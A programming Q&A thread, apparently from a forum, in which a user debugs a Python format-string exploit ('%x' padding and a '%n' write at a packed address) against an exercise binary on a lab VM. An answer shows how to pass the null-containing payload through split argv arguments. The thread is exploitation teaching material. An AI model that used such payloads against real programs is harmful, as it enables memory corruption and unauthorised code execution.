I am trying to create an exploit for an exercise but I have a problem with the following code:
#!/usr/bin/python
import os
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
os.system("/home/osboxes/Desktop/formatString " + payload)
But the mistake is as follows: TypeError: system() argument 1 must be string without null bytes, not str
I am trying to upgrade to the current version of python with "subprocess" utility:
#!/usr/bin/python3
import subprocess
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
subprocess.call("/home/osboxes/Desktop/formatString " + payload, shell=True)
But the mistake is as follows: TypeError: can't concat str to bytes
How could I fix the byte or str conversion problem for both versions? both programs agree that the error is in the line of "payload = ..."
That string isn't capable of being passed as a command-line argument on UNIX.
Why? Because it contains NUL literals, and UNIX command lines are made up of C strings -- which are NUL-terminated.
>>> address = struct.pack("I",0x201014)
>>> address
b'\x14\x10 \x00'
See that \x00
? Not allowed, not possible -- not as one command-line argument, at least.
But you can put it in an argv, as long as it's split into multiple arguments. Note that shell=False
below:
payload = (address + (b'.%x.' * 131) + b'.%n.').split(b'\0')
subprocess.call(['/home/osboxes/Desktop/formatString'] + payload)
How does this work? Because the \x00
s that terminate each individual C string are implicitly present at the boundary points.